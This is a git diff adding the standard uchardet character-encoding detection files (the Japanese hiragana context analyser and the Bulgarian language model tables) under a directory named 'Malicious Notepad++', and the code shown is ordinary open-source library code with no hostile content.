0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5,}, +{ 0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4,}, +{ 2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5,}, +{ 0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3,}, +{ 0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3,}, +{ 0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3,}, +{ 0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3,}, +{ 0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4,}, +{ 0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4,}, +{ 0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2,}, +{ 0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3,}, +{ 0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3,}, +{ 0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3,}, +{ 0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3,}, +{ 0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4,}, +{ 0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3,}, +{ 0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4,}, +{ 0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3,}, +{ 0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3,}, +{ 0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4,}, +{ 0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4,}, +{ 0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3,}, +{ 2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4,}, +{ 0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4,}, +{ 0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3,}, +{ 0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4,}, +{ 0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4,}, +{ 1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4,}, +{ 0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3,}, +{ 0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2,}, +{ 0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2,}, +{ 0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3,}, +{ 0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3,}, +{ 0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5,}, +{ 0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3,}, +{ 0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4,}, +{ 1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4,}, +{ 0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4,}, +{ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,}, +{ 0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3,}, +{ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1,}, +{ 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2,}, +{ 0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3,}, +{ 0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1,}, +}; + +#define MINIMUM_DATA_THRESHOLD 4 + +void JapaneseContextAnalysis::HandleData(const char* aBuf, PRUint32 aLen) +{ + PRUint32 charLen; + PRInt32 order; + PRUint32 i; + + if (mDone) + return; + + //The buffer we got is byte oriented, and a character may span in more than one + //buffers. In case the last one or two byte in last buffer is not complete, we + //record how many byte needed to complete that character and skip these bytes here. + //We can choose to record those bytes as well and analyse the character once it + //is complete, but since a character will not make much difference, by simply skipping + //this character will simply our logic and improve performance. + for (i = mNeedToSkipCharNum; i < aLen; ) + { + order = GetOrder(aBuf+i, &charLen); + i+= charLen; + if (i > aLen){ + mNeedToSkipCharNum = i - aLen; + mLastCharOrder = -1; + } + else + { + if (order != -1 && mLastCharOrder != -1) + { + mTotalRel ++; + if (mTotalRel > MAX_REL_THRESHOLD) + { + mDone = PR_TRUE; + break; + } + mRelSample[jp2CharContext[mLastCharOrder][order]]++; + } + mLastCharOrder = order; + } + } + + return; +} + +void JapaneseContextAnalysis::Reset(PRBool aIsPreferredLanguage) +{ + mTotalRel = 0; + for (PRUint32 i = 0; i < NUM_OF_CATEGORY; i++) + mRelSample[i] = 0; + mNeedToSkipCharNum = 0; + mLastCharOrder = -1; + mDone = PR_FALSE; + mDataThreshold = aIsPreferredLanguage ? 0 : MINIMUM_DATA_THRESHOLD; +} +#define DONT_KNOW (float)-1 + +float JapaneseContextAnalysis::GetConfidence(void) +{ + //This is just one way to calculate confidence. It works well for me. + if (mTotalRel > mDataThreshold) + return ((float)(mTotalRel - mRelSample[0]))/mTotalRel; + else + return (float)DONT_KNOW; +} + + +PRInt32 SJISContextAnalysis::GetOrder(const char* str, PRUint32 *charLen) +{ + //find out current char's byte length + if ((unsigned char)*str >= (unsigned char)0x81 && (unsigned char)*str <= (unsigned char)0x9f || + (unsigned char)*str >= (unsigned char)0xe0 && (unsigned char)*str <= (unsigned char)0xfc ) + *charLen = 2; + else + *charLen = 1; + + //return its order if it is hiragana + if (*str == '\202' && + (unsigned char)*(str+1) >= (unsigned char)0x9f && + (unsigned char)*(str+1) <= (unsigned char)0xf1) + return (unsigned char)*(str+1) - (unsigned char)0x9f; + return -1; +} + +PRInt32 EUCJPContextAnalysis::GetOrder(const char* str, PRUint32 *charLen) +{ + //find out current char's byte length + if ((unsigned char)*str == (unsigned char)0x8e || + (unsigned char)*str >= (unsigned char)0xa1 && + (unsigned char)*str <= (unsigned char)0xfe) + *charLen = 2; + else if ((unsigned char)*str == (unsigned char)0x8f) + *charLen = 3; + else + *charLen = 1; + + //return its order if it is hiragana + if ((unsigned char)*str == (unsigned char)0xa4 && + (unsigned char)*(str+1) >= (unsigned char)0xa1 && + (unsigned char)*(str+1) <= (unsigned char)0xf3) + return (unsigned char)*(str+1) - (unsigned char)0xa1; + return -1; +} diff --git a/Malicious Notepad++/src/uchardet/JpCntx.h b/Malicious Notepad++/src/uchardet/JpCntx.h new file mode 100644 index 0000000..fe8fcb8 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/JpCntx.h @@ -0,0 +1,140 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef __JPCNTX_H__ +#define __JPCNTX_H__ + +#define NUM_OF_CATEGORY 6 + +#include "nscore.h" + +#define ENOUGH_REL_THRESHOLD 100 +#define MAX_REL_THRESHOLD 1000 + +//hiragana frequency category table +extern const PRUint8 jp2CharContext[83][83]; + +class JapaneseContextAnalysis +{ +public: + JapaneseContextAnalysis() {Reset(PR_FALSE);} + + void HandleData(const char* aBuf, PRUint32 aLen); + + void HandleOneChar(const char* aStr, PRUint32 aCharLen) + { + PRInt32 order; + + //if we received enough data, stop here + if (mTotalRel > MAX_REL_THRESHOLD) mDone = PR_TRUE; + if (mDone) return; + + //Only 2-bytes characters are of our interest + order = (aCharLen == 2) ? GetOrder(aStr) : -1; + if (order != -1 && mLastCharOrder != -1) + { + mTotalRel++; + //count this sequence to its category counter + mRelSample[jp2CharContext[mLastCharOrder][order]]++; + } + mLastCharOrder = order; + } + + float GetConfidence(void); + void Reset(PRBool aIsPreferredLanguage); + void SetOpion(){} + PRBool GotEnoughData() {return mTotalRel > ENOUGH_REL_THRESHOLD;} + +protected: + virtual PRInt32 GetOrder(const char* str, PRUint32 *charLen) = 0; + virtual PRInt32 GetOrder(const char* str) = 0; + + //category counters, each integer counts sequences in its category + PRUint32 mRelSample[NUM_OF_CATEGORY]; + + //total sequence received + PRUint32 mTotalRel; + + //Number of sequences needed to trigger detection + PRUint32 mDataThreshold; + + //The order of previous char + PRInt32 mLastCharOrder; + + //if last byte in current buffer is not the last byte of a character, we + //need to know how many byte to skip in next buffer. + PRUint32 mNeedToSkipCharNum; + + //If this flag is set to PR_TRUE, detection is done and conclusion has been made + PRBool mDone; +}; + + +class SJISContextAnalysis : public JapaneseContextAnalysis +{ + //SJISContextAnalysis(){}; +protected: + PRInt32 GetOrder(const char* str, PRUint32 *charLen); + + PRInt32 GetOrder(const char* str) + { + //We only interested in Hiragana, so first byte is '\202' + if (*str == '\202' && + (unsigned char)*(str+1) >= (unsigned char)0x9f && + (unsigned char)*(str+1) <= (unsigned char)0xf1) + return (unsigned char)*(str+1) - (unsigned char)0x9f; + return -1; + } +}; + +class EUCJPContextAnalysis : public JapaneseContextAnalysis +{ +protected: + PRInt32 GetOrder(const char* str, PRUint32 *charLen); + PRInt32 GetOrder(const char* str) + //We only interested in Hiragana, so first byte is '\244' + { + if (*str == '\244' && + (unsigned char)*(str+1) >= (unsigned char)0xa1 && + (unsigned char)*(str+1) <= (unsigned char)0xf3) + return (unsigned char)*(str+1) - (unsigned char)0xa1; + return -1; + } +}; + +#endif /* __JPCNTX_H__ */ + diff --git a/Malicious Notepad++/src/uchardet/LangBulgarianModel.cpp b/Malicious Notepad++/src/uchardet/LangBulgarianModel.cpp new file mode 100644 index 0000000..7768660 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangBulgarianModel.cpp @@ -0,0 +1,243 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" +/**************************************************************** +255: Control characters that usually does not exist in any text +254: Carriage/Return +253: symbol (punctuation) that does not belong to word +252: 0 - 9 + +*****************************************************************/ + +//Character Mapping Table: +//this talbe is modified base on win1251BulgarianCharToOrderMap, so +//only number <64 is sure valid + +static const unsigned char Latin5_BulgarianCharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, //40 +110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, //50 +253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, //60 +116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, //70 +194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209, //80 +210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225, //90 + 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238, //a0 + 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, //b0 + 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56, //c0 + 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, //d0 + 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16, //e0 + 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, //f0 +}; + +static const unsigned char win1251BulgarianCharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, //40 +110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, //50 +253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, //60 +116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, //70 +206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220, //80 +221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229, //90 + 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240, //a0 + 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250, //b0 + 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, //c0 + 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56, //d0 + 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, //e0 + 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, //f0 +}; + +//Model Table: +//total sequences: 100% +//first 512 sequences: 96.9392% +//first 1024 sequences:3.0618% +//rest sequences: 0.2992% +//negative sequences: 0.0020% +static const PRUint8 BulgarianLangModel[] = +{ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, +3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, +0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0, +0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0, +0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0, +0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 